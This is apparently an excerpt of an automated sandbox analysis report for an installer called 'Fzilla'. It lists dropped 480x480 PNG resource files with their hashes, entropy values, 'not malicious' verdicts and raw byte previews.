MD5:	7560335F2F31BF8300AFC5A0BDBFC3CE
SHA1:	B80FBF9440699B2B22F27C0368DAE86F9D6A770A
SHA-256:	B4C90CB537691557A35824C335B4A41E1B877A81C748CD0F9E9180A25A8BE94F
SHA-512:	43AA887B9CF2AB4C5B6C4BA5F2940C6048037EDCC279BD70EACB582401F9E386AF8365712267EF3E0757A07D185C881C135419244862BE3CB66E37D6D5B2318B
Malicious:	false
Preview:	.PNG........IHDR.............J.N....}PLTEGpLggghhhhhhhhhhhhLLL<s.fffKKKMMMhhhIIIaaahhhLLLPPPhhh???hhhLLL666LLLFFFhhhJJJ...hhhLLL.p.........................DDD...HHH111ggghhhggg___```dddRRRGGG....\|.EEELLL<q.dddKKK.s.hhhLLL......%.%VVV...........ppp\|\|\|...,.,KNKgjg......F[F,.,`w`...........%.%kkk...............R.R>s>CeCY.YK.K5.5...OOO...:~:'.'...Br.3.3).);.;&.&......A.AN.N___?n?vvv<y<7.7,.,6.6.\|.E.Ecpc:.:ITIF.FH.HF.F).).@.....:tRNS.$y......w"..L..S_V@9..ll..............!.>...............[.S....IDATx^..gw.U...$...\. .J.{l8.....$...Q.....z....0.;w...\|..........6.Ei..Q...~...y7G.......u[."p.....:.4..lGA..m......1..8~..{......]....6....!Ea..9.V...:p.Wp..^.{B...p.....0`.......0`.......0`.......0`......Uie.=.. 5......p...e...B........+`Y..?......p...+..?.........p....0...^.2.X..5..k.......cU...k.}4a`....g7U.Z7.$.....f...;.$0...m"......^.n6.....?.n>...._n......\|\|.....&...\k.?I.....~..0.K..\|=l`..............<{...o.$..8z.......?.\|.......~j>..89`..w..\|m&A`...4...q......

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-H4Q6U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	4748
Entropy (8bit):	7.604863604758853
Encrypted:	false
SSDEEP:	96:8z3MZ2L0h4gMbBwYEwQNoOiiN/IgEpYbJRH4x5rbroocK3L9:MMZ2WkwYauil/bJRUKc
MD5:	96803292CBF69CB363327370B4646C95
SHA1:	55A3B18772C69D7256F015972711EBF9442A442E
SHA-256:	45C5391E3C1A2156846C742EE2DBC7779B3D3F498E7BAB7DE4F1D82086462F93
SHA-512:	03720A293732106F0AEF36672AA3A1F25BE59D2D179FC6587716AFD6C5691FC60FCE58E44804A60AF1419072D371292B3E68CFE63B63D93C118EE2D1A7E7B057
Malicious:	false
Preview:	.PNG........IHDR...............v....SIDATx...1.....@...D ..D".%...........................................................NlvumN...]x.$....e.YR../.z4..r....lk.03..3,3333333333I}[..mg.:+2......E...K.F.......9;...)i%.d:~A6.......'........z...uL..G......?.P.....-I!i%Qq.>R...>}_..MfR...Uz..Cg.....3._q....w.sY.jw.+>..q...zQg....r7..k}t.O...1W^..j..o>b.T).e...G.]...WmiM.Lj.v..}..i...).y.....j...5........../............w9...`...[rA..q..4.......m.j}.v......6.......R.+..Q.:..'.;.>.ul..l...L....Haj._..6.4.f$.d&....5A..i../...0\|!l./...a.\|!._....a.B.>_..\\Q....M.0\|!l./...a.\|!._....a.B.0_...W..[....0\|!._...a..&._...0a.B.........S..._..^../...a.n....c.XH.X./....Wm\a./..k.!._...0a.B...H........0\|!._...0a.B........5L........X....0\|!._...0a.B........5L.....a...0\|.../..;...........0\|!._...a....b...I......WD..k.m.3[V'.7...1.6.0..;kKk....NO.Y.B..f{.J.D..M......-;9Q.../.^...[...DG.$...S.../g.m{f..8..}......o.?$..I.(...2.6.0..k...Y....p...d..,P.6.>(a...$.0..o..x._

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-IDBBQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	5.565308274512407
Encrypted:	false
SSDEEP:	24:18fPDxm0oUc555555mgq2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2q2qe0D2qt:181m0c5555550TTTTTTTTTTTTTTTTTTf
MD5:	5DBB4A4639578D421340976E766F2C32
SHA1:	EA3782BC213CE0C43F3C65F07C735D21E48B36E8
SHA-256:	EDD8D0E29F8D928A035C9301D78F2D13915164F761444DDF14A5F5C245EA20EC
SHA-512:	B7AD4ED496F3A16B0F69CACC9390679FA354A9C68E82E1E7FE97257124059C50F4F21247FB5CD9DE959EF80271CCD2EF3BCA39E1577F96EC8EB2121C75E5CDFE
Malicious:	false
Preview:	.PNG........IHDR....................'PLTEGpL. &.... &............m..R.......'.....O.....tRNS........88.!...<...wIDATx...7Y.A.F../.%.. ., ..8.....(.H...lx...g.f.\|.....v.O..[.\|<.r......8...S..8...c..8..3..8...#..8.,....8.L....8.L....8.L....8.L....8.L....8.L....8.L....8.L.[..1:...x.;....x./..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S.(0 ....(0 n....}..0%....(0 ....(0 ....(0 ..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%..S..0%....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 ....(0 n...F.....`J.....`J....Q`@....Q`@.....`J.....`J.....`J.....`J....Q`@....Q`@....Q`@....Q`@.......zg.g..W...;..N.......w.....?\...w....8......8......8......8......8......8......8......8......8......8......8......8......8.......g..."...$..h.z.N.A..=:(.... ..P.W;.t......;............

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-ISUAS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7499
Entropy (8bit):	7.834547447829501
Encrypted:	false
SSDEEP:	192:56ZwYBqK1ujUJxZr577ySvSRSINaGOxWTZheEny/x:o9+wX7EkGOxWTZkEnU
MD5:	58B47F061260769A0A6B2CBECD8F1AC0
SHA1:	CDECDA2416B100517F36E7AF65FA36C40C574D22
SHA-256:	19B2D2BE74DB5FA58DAA88DA1ECD8A5F97C3353B53362A9E1AF1B5D2AC043D4E
SHA-512:	A4BCC18F1DAC0D42DAF549F40B69C52FCA4463FD4554F19677491E6FBBDED6F71D9CE3C1CF17CFD8B5BD63D35A223C3172F1F5163399C3937220783346371E21
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.$$. &. &. &. &..%..&. &. %. &. &..&. %..&. &. &..%..&. &..%. &..&. &..(. %. &.+..%. &..%5... $. &. &.% ."#.2...%. &.....".....!...............}.............%............}....... ......................#....MM.7N}c."r."........$..!..........&..<!.J%.D&.<'.(&..$.6'.1.z<...%mV!X{$I.'E.(8.2.+,.,hk$.,&M.&..!..$.j)Zh!*.(...&.&(.(..#...T..:.... ...\....%..$..%........... &.&+.+... . ,.,+.+).)'.',.,,.,,.,+.+-.-&.&.k..\|..n..\|..\|.).).k..u..}..}..s..Y..\|..r.......................................................................................................................................^..s.............R=......k......mP...............~....s............................\|$~.....I`.. }.h....c1....r.&.1T....<...1@..Gb.m....tRNS..,J_q...............W@.h"..z..5.........m...C..3.....P..x..........!<Id......................................-#z_8.......yq.H2..p..lf`zr.{.g^so3..H............................./..L..d

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-IUO6K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1430
Entropy (8bit):	6.612363843936813
Encrypted:	false
SSDEEP:	24:XMv/276qbrYFe4XDXx1yVr6vZcV+nxUtuyvCuKSm3NQ9jdM3SWWWWWWWWWWWWQT:Xs276Tv1y16ZUkx2+T
MD5:	511A92EF28D25E6EE856F9326D7A9549
SHA1:	56D2EF8535BFD94023ED5554AE73184C21C2DD0E
SHA-256:	E45294341BE154EC935A1F317FA7363535BA594E9EDC02DCF7B7EEB649596D40
SHA-512:	4B33CFD369B77DA7F195E761C236179E64D1947B4EC1F23E1C0636D4FC507DC11FCD94DDE34727DC33AF89A35E8A0B9EE387BB4A084BD9FF54B382820753AD57
Malicious:	false
Preview:	.PNG........IHDR.............J.N....fPLTE.........................................................===......:::.....................666.........n......"tRNS.G.J.d................#.......!w.....Y....IDATx...1.....0....-....................................................u..M.P....a.\|....&z...o4......Cz}{...>.....s.v........7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....Z.\|.v...&...a.M.\|....}..z........~.'.&..>.`D..a.M..............3W@X.2...a.;.++.}'.\|.0........@..N...+_ <_&.}'\|.../../..............._ya.;a.........0....w.W^..N...a.;.+/l}'.\|.0........@..NX........3.~...._...O...o...I.a..Ac..\|....&....T'........}oma.ma.ma.ma.qa.}a.}a.}a.....................%.p..0_...~....GT8.{.\|".wX./a......%.wJ./a......%.0..a......%.0..a.....; .0..a.....; .0_.\|..... .0_.\|.....Kx..0_.\|....Kx..0_.._.\|..\|..%<.K././a.......^.%.p..p.0_.._.a_.u_.u_.u_.u_.u_.u_.u_.}_.}_.}_.}_.\|..\|..\|..\|..\|.$.u...g.<

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-J4FRJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5994
Entropy (8bit):	7.816077503911296
Encrypted:	false
SSDEEP:	96:sBuXU5t3zsDnMTuCtn2AT7EL/++EtvK0dnajrw9HS0b7mYsocn8b/6DLg:sUXU5dYnMTFR2o7wGXda6b7m+cnQ6DLg
MD5:	E562C94006CB02A351754462D36459D3
SHA1:	EE7A05212042A7800AA9D8B20421416D347B2C00
SHA-256:	7F0899F331F7C33A0781BA909F80144BF6A58771C3AD8E2C13185FF372CF780F
SHA-512:	B8E2812FE8DF47E751A6462DF714243C9320BF033A7D04B869456121741A0009B164B836BD1731A47F6BB59782C47AC6F9E4984414E161CA589B655C7C490837
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..............................................1........................w.........mO.......~......lO...@1.............................................................................C..R..f..y..~..............o..]..M..:..%.....X...........................H..)..................................t.....b..6..................2.......... ......c.......j.}.B..B...\|..f..}......222............ccc.........RRR..........C..................................mmm......xxx......................................................BBB.........................................:..,...g.6z...#n.....................................\|........................................................I..E..N...................w..V....tRNS..Fx............l..#9...VM.q.../....`..N..+z"V.............................................................................................9....R.'.Z.$.M.....4..P.n....-..~k......r

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-JVV40.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12683
Entropy (8bit):	7.948673837999981
Encrypted:	false
SSDEEP:	384:NoiX5CPW14wKRwtl3u4sYOvWPTH3JUECe:NBpCu1VVXAWPTH3iZe
MD5:	B5AA21C3F5D77D5D55982FED0F46E12E
SHA1:	D0540523E377726B1A936980A2EE968D8FD63DE2
SHA-256:	D42AAD945404D1A5F66A168F6AF3A89D34BE856FCA13911EE0A5D3DA8AB7B084
SHA-512:	39641960860C6628B0CBE68FB66C1A2294F66F19D019D37B3385BD95190D1A636E39848FD0B1394A671CB04F5CED1A1D4F16F76A0DD0E40CC8948D521E7170C7
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLggghhhggggggggggggggghhhggggggfffhhhhhhggghhhhhhhhhhhhhhhgggfffggghhhggggggjjjhhhhhhhhhhhhhhhhhhiiiiiihhh###!!!ooo{{{....................................mmm................................................ttt............qrq......lll....................www.........................i.iU.UG.G7.7,.,..N.N...w.w......B.Bo.o.........2.2d.d..............<.<...bbb.......\.\TTT@@@...---......ccc...[[[......___......]]]^^^PPP___...TTTLLL...XXX...MMM......LLL.._. &.jn.tw..QQQ.....\\\......KKK....\\\....$*..,2....6;....EJ...._d...z.c.15/./.HK.>C...eeeF.Fs^_. &.W[5.5[~[...9.9TTT.y\|ataO.O...>.>..!....KP..$.......WWW.....#...k.k....14wGIfff......no.14777DDD.HKIII:::.JMEEEJJJLLL???FFFLLLLLL...IIIKKKHHH===BBBHHH.IIIHHHHHHKKK.........b....tRNS...2?Uf.............o\M(.F......y"...............................................................................................^:./....t.&.....S.....................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-KAMM1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1307
Entropy (8bit):	6.476637761224862
Encrypted:	false
SSDEEP:	12:6v/70oYQmU4SqRW5QvWGP6CtRNJzJJfI1idS4spS1a3H4I1Mj3x4V3P3S1iJLbu3:0N/qR3WGPhzkU+s1a5Da1iFyqaKiZz
MD5:	E273DC1B158F4468373F96E8F7F9E5AF
SHA1:	40056FD1200C2CA282740111D76F0C40C58C6A57
SHA-256:	A0B7B5F58352ED7E017365E5A22921CEF46F70833CCCC2CE200AA424BA0CFB2C
SHA-512:	06D1902ECF859937F68786B7A1F528B1F424F118529D86FD31EEBE937E0D85F77FFB699DAE68FD17240BA964F5799087E93FB2C3A60EA6C5C8E40965350EBBEF
Malicious:	false
Preview:	.PNG........IHDR.............J.N....oPLTE...NNNNNNMMMMMMLLLMMMHHHGGGLLLMMMHHHQQQMMMMMMJJJLLLLLLKKK>>>IIIMMMMMMDDD.....................MMMLLLIIIJJJDDD.........%tRNS.RH..M.RSJ.N......"%...\|.......Yu{.{....X...6IDATx.....P......!.y.5^:8..ma..=)I.$I.$I.$I.$I.$I.$I.$I.d:T....#...-.-.-.-.-././././.p.p.p.p.p.p.p.p.p..0_.M_.._.\|..\|..%\....F7..f..././a...........K8.K./././a...........K8.K././a.......YX....m......^...EX.EX...&L.0a.",.",..a..a..a...&L........x....q......&L.0a..a.&L.0a.........&L.0a.EX.E.0a...&,.",."L.0a....a..a...&L.........",.",...&L.0a......0a...&LX.EX.E.0a...&,.",...&L.0a..a..a...&L.......&L.0a.EX.EX...&L.0a.",.",...&L.0a..a.&L.0a.........&L.0a.EX....a}..Dx.m.#}.q...~.....v.........................n......K8.K./.....}._..+.g._.._.\|..../_..+.\|..../_.\|.W\|..../_.\|......./_.\|..._.\|.W\|..../_.\|......./_.\|..._.../_.\|...+.../_.\|....W\|..._.../_.\|...+.../_.\|....W\|./_.\|......./_.\|..../_.U.W\|./_.\|

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-LTK4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	6.845783965852488
Encrypted:	false
SSDEEP:	24:3RFBPyggt/pmBe3oH8UU/vlUiYo15YewBN:3FygS/pmA4cUUlUiYo15MBN
MD5:	06AEA9DB718477BDD66BCDA4302CE28A
SHA1:	1CE1ECB4320C235E2B6216C1C7C1A03B8B3D9EEB
SHA-256:	9F5F8BCE887033CBBA6E8E94EBE06452FE25610835CF47D04BE2FCD32BF88936
SHA-512:	097DCE54EEBECC1ACC0DC69B0A8BB5D34B3408CD47D1DC9CC0549ECFE0472F2B80CCBA906886E6EC26B10E3989E014C76DD4443C48653ECD800B15DA437A577B
Malicious:	false
Preview:	.PNG........IHDR....................$PLTE..................................../..C....tRNS...........~Y......IDATx......... ..6.T1............................%............A..P.........B@o.L.l...s.0}U..c...S:L_.(.......WEJ..2...U..`..NI0}U.....S.L_.(.&....bP.).&....bP.).&....bP.).&....bP.).&....bP.).&....bP.).....w...."....\|.R.LY.(...S.L^.(..j).&....b_...b^.(..j)...P..}.R..y.......d..@./.UK...U.._..].....W-%..W.J~..ZJw1....b_....M"..(.~.`h). 6b.W.`l.va.6h..a........:.......w$v..."1..]$.....$..(1.7..8J..Mb....p......\$&. 1....8G..5b...;p..[...#v.......E..-b...O'>.x.._{p......I\|.....8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8....` n..q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@.....s.g~..{=.x.qA.` ...q.....@....&0.G......Q` n..q.....@....&0.G......Q` n..q.....@....>0.........\|.....@...........M` ...q.....@....(0.7..8...M` ...q.....@....(0.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-M64L7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	996
Entropy (8bit):	6.015697154048635
Encrypted:	false
SSDEEP:	24:fO+NEIzCp9zVIwT9SVMB0zT8DYMKn/Z0wUHUd3/VOOUGUsXQ:2+upp7T0Vw0zwDPK/1PVOkXQ
MD5:	77997FF57AF571672F8EFC7EE809142E
SHA1:	C44DD1461D0798FBD721EA58ED53927BE576CD81
SHA-256:	CA23648B2998ADA62394878E0A25D5272B5F45B04D17B670617E9958E37AEC33
SHA-512:	1A9BDCA1F1F9CCB0425E775A2D9EECDBB3EE20ED347DB77DE87F65729FCA53890E20636B1C1B6F6581778A757EE8175B2762264AA80CE5C28A13F4D510B6B1DF
Malicious:	false
Preview:	.PNG........IHDR.............J.N....]PLTE...GGGKKKIIIMMMMMMMMMUUUUUU@@@MMMMMM'''......KKKJJJ............KKKKKKJJJJJJKKKJJJ...KKK.............tRNS..3.............. ..............,.>....IDATx...q.1..@..f...L...F.}ov[..................................................................0....%e.m..zC....k......k.o.._.~..5...t.a......5.._.~k....k.a...~..5.~.a.....k...G..7Lprz6.y.ou.......7....a.....k..._.~..-..k.a......5....;....k.a......5.._.~K....k.a...~..5.._.......k.a.}.~..5.._.~.....k.a.....k.o.._.~..5..._...~..v..5.._.~.....k.a.....k.o._.~..5.._.~;....k.a......k.a.....[0.._.~..-..k.a......5.._.~.....k.a...~..5...a.....k.o._......k.o.....g...~.....k8.._.~...a....>._.~.....k8.._........5.....\~..5..k.._.......5..k.._..........N.5..k8..p....._........N.5..k8..p...._.....}.k8.._........a...~..5..k8.._..........N.5..k8..p...._........N.5..k8..p...._...........................................................J.XN...~......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-NRNK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	7.652384910388458
Encrypted:	false
SSDEEP:	96:DFhqPKQqMp33g8q2AhyLWA5yyDfjDZaWYVlab2u:DDqrzfq2Ahgp5yyrJzYVlaiu
MD5:	E7A7E89F12DD8D49F9AFB73EB52E0466
SHA1:	C4B57E0F2B6D286309E4A962C504ABD1A602D971
SHA-256:	BF0F361801F7DD78C748D611DAEB2180D50DBD9E3A284758BC4A5E6F773758D5
SHA-512:	139DF2A8FC3E6331EC5E8A0B3DAEC852A484FF5E59C54A6F72EB0A257432146E56D73AC86C4BC222B5DAF16270A0A910FD3E9B9796485394282151AE93C62EB4
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL......................................................v...... &.....................a......................3................3."&..%..%........%.!&. %. &.")..". &..&.......!&. &.!'S....+..%e...... ......x...............%.........~................1..F........S.... .........N..X.....f.......%@.....\|...........V........\|................&.tw.9=...............BG..........................................jjjhhhLLL...........{{{aaa.........]]]nnnQQQ...mmm....KN...LO...DI. &.)/...%+...\|}...{}..... ...=?...58....\|..f./..)r.....}..i.N..F..6...g........w.....!........u................G..............]a.HL.5:^.. .../4.t..@E.SW...j...tw..-s....{........ttRNS..M.......L.u.sS..Qw.....P.<:.............D......q%..e..y.1+..1..{.d.2.Q..:......$0..7....4.BI..,.{...;..........;v......IDATx^..Gn.Q....I..!D.r...D.x....Sp.N..{B...(.o2.....~W...x...{..uv.v...b.S>~.d.#.J}.)......}.O........yk.....u....:.}:...:.};...`.p....[..8KC.@

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-NUBA3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.49847240377598
Encrypted:	false
SSDEEP:	48:vYW0f9lBTP1tLezNtahytX6666666666io0xHHHY/Q2sO2iSQbp:veHlTatO0/L2iFp
MD5:	F41DA3306071CEF65632B5591CB57504
SHA1:	FD7F206EE5B191F5BB327BB37FE586D90C1FDFA9
SHA-256:	BF67DEC586E7BADB5C358AC4734CB80C550CF03438EC70C5444068319BCC3753
SHA-512:	2214CF7CFC145504125B2179686F19E861438F94F7EB7D937D943FC682FE7DE0C594F29228E8B988F955507C755B445578D3124B7849CDF7EF7A65782EAFFEBF
Malicious:	false
Preview:	.PNG........IHDR.............J.N.... PLTEGpL..............................................#.................................._.......~......pT...E4.........................................................................................................................".........uq.B...`tRNS..Fw............m..%9....X.M...../...W#..N..+."V..........................yE..mz..8L.J_.......e8....IDATx.....l1..P_L.ef...\|............................I..E.~Ip.j....y=4[...^....+....[.Ao(x.^[.Qe..<....Q.=...3u...l&x.d...9.?..i.\k"xD..8..z@Rh4j...&5....Oc.q).r.L.Ff9....4>......h.M....PY.-..H-S..=....U...hz..O.2.4j.\.......x.\5..j..r.2..T.B..s.9....sP..c9.N.I[.U..e...]Y.Y.....n5m......F.g;0B...nj;0.`b;0j....4m..ff;0.......p...w......E.T1........VH.....(F.).wS..K.....e`v......^.....^Na...La.....)L`...)L`...)L`..};..l.w2..l.....6.s...6.C...x.E.&....]...wW~Sx.3.CL9g.T%..B......0...el.....M..=N...w..W..\|...+b..a.......ca.....W..

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-QINJV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3766
Entropy (8bit):	7.668064468145603
Encrypted:	false
SSDEEP:	96:yABVE4ZAOL7HOxM++++++++AfcNIHSX1KWRhBIPpQ:yAfE4ZAK7HOzSX/hB
MD5:	C19505C35182FBC2D2C81ED60E62926B
SHA1:	D415F48879875F94CBE9DD7FDB7A7DADE6603EB1
SHA-256:	981892D7FD00D58C2ED41E33BFE1CC35FDA8F66D3EA1A533063CBA3058331683
SHA-512:	8125BC3C108BF846BE6AA38FBAC89E0683FD784A239858FA23E71E533944521410EF925525CC3FE32BFFC28D2DE47353555FD727D69E7408EB7CE10D65A664D1
Malicious:	false
Preview:	.PNG........IHDR.............J.N....CPLTEGpL...........................................................................................................................N../.. ...\|.G...f..h.)q.D..u...................6..-t.......g.w..j..^....{..*r....F...i.......0....%.%&.&).)$.$'.'&.&$.$%.%%.%$.$$.$%.%#.#%.%$.$%.%%.%$.$%.%......!.!$.$%.%...!.!.3...."."#.#$.$.......~........p.pf.fR.RZ.Z.......<.<,.,y.y...7.7...}.}...E.E.....u...................................jjjhhhLLLNNN........{{{aaa.........xxx]]]7.7...mmmRRROOO8.8.................a.a..h.hQ.Qg.g\|\|\|SSS...9.9I.I...`.`@.@j.jm.m7L7S.Se.ey.y.G.X....tRNS..Q.........L..vs..P.......<:.................................................$...z...._H...ToM......#j...!.C.....................?......................................................%..i.y.....aIDATx...S.4W...}.m>.~.{..[l'.F.VWE.O.@..F.K\|.\|+.a(g...X.o.([M.H..53.m........B.,w..f'B.?....95_.....l.-'.<...........S..........'...[1..hr.^^.....3.g1..O.....M.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-R2VBV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	6.797313860142275
Encrypted:	false
SSDEEP:	12:6v/70tKsGjoBOgO0L9hXhXISdkokGDJYU3TxVKnF0Z4rGsB3933pQKDe0Fye8/X2:hKwBpZuckirvKFAvsJQv0FyeYX2
MD5:	BE55E6AFDA1D005973DBB0AA2709D20B
SHA1:	13BE53066DFA5B044A8305BF9BD5B26F5C8EF18B
SHA-256:	89D40A49886980D7F405B10C27BFAD5FB5980C3FD71C471CC40F391889E6E381
SHA-512:	C68D169EE1A53F5CBF690E1386B15AD470CB87401A99FEB6647A64C3146A91B39A74BC86834374B9ED69F693A3042CA17C92509D0AB6F8804C06A3359FCCCE73
Malicious:	false
Preview:	.PNG........IHDR....................'PLTE...NNNMMMMMMJJJGGG......JJJ...GGGIIIEEEX.]^....tRNS...........~.(T.>....IDATx......... ..6.T1............................%....stP.@.E10hX'\|.._..:..9h...e/V....b.s.0...t.[UQ2..(..VU..s.J.9Y.%.\...`NVE.0......UQ...(..dU..s.J.9Y.%.\...`NVE.0......UQ...(..dU..s.J.9Y.%.tU...75.Ey...\.......d.[UQ:..(..VU..s.............J..T1J..WE...*F....(.bX.(.b_.._...._..a...uU...}.s~..\|..hg.. .`..2..tP.P.@Qt..q.....k................."v.9S..<g..c..."v.......8F..Eb.n..p.......$F..1....F..1b...;p..c..."v.......8@..J.p...........x>.z.&....8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v......8...5`'..;q..c.N\.v...........5`'..;q..c.N\.v......8...-`'..;q..c.N..v.......8...-`'..;q..[.N\|.......>-.!.w\?...)......E..1b.n.;p..[...#v.......E..1b.n.;p..[...#v.......E..1b...;p...... v...}b.....[...#v.......E..1b.n.;p..[...#v.......E..1b.n.;p..[.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-R9T90.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7759
Entropy (8bit):	7.88490309976475
Encrypted:	false
SSDEEP:	192:zeiOHPJ8NiNzLyGCY4WQfIKbQZc3m4rLhaW:10xZ4WYIAV3trLh9
MD5:	BA100276E608AFDADD0DFC761506145E
SHA1:	251396BB432C8FDBF28715F059BB83B1580ECD3B
SHA-256:	151ADA50A20E640A599481D440A048C769E0EE10F6FCA3851B143E0027C0ED76
SHA-512:	400E2EB545EC1FFB813C233E4404D36847152D1A14FD0BD6485478519FFF787536FB6AF2993380F377F4F82C04819189D7A7AB361ECB345F1119E00EEC96C367
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.................................................................................................................................................................................................................................................u.uh.hb.b[.[`.`n.n..................J.J1.1,.,%.%(.(C.Cg.g...........-.-......O.O..=.=:.:A.A....Z.ZV.V.....2.2z.zw.w...............7.7...n.n7.7.....-.-/./2.24.4.'.'&.&B.BJ.JS.SZ.Z`v`dodhhhLLLKOKHWHCdC=r=9~94.4-.-=.=fjf0.07.7X.X:.:?p?,.,E^EM.MKLKbrb......G.G...sssE.E\{\WWW.....mmm.........A.A.....................pppm.m...999).).........AiA..................{{{...???............1.1...<w<..._w_.................'''........................TTTjjj........................................}....tRNS...5I]v.........."Bg.....)T..............o.N../d=...................9...z.X............................................................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-S5LLO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3371
Entropy (8bit):	7.6085134491908475
Encrypted:	false
SSDEEP:	96:efy3gwNRWWWWWWWWWWWWWWWWWWWWWWWWWW0IVdhbhlCHF1q12V+12mO:841e8iFw912P
MD5:	4446C16BA6D4E7F0DA53623691E4D714
SHA1:	CEC1FA54C27358A438CBCB31E655303D2E50EB7E
SHA-256:	496DA69784B29607A4B6510D8D7CAE7B1615D80EA4472B681F411FBD11CAC444
SHA-512:	2DFD8BA2EACEC82A77D93AB1531A78595A28085AE576B58BB1559EDA112A068FAA7403E1C05023EBA44DFE02073C9EABD3CEAD2758A4F78B445F25483B600DD2
Malicious:	false
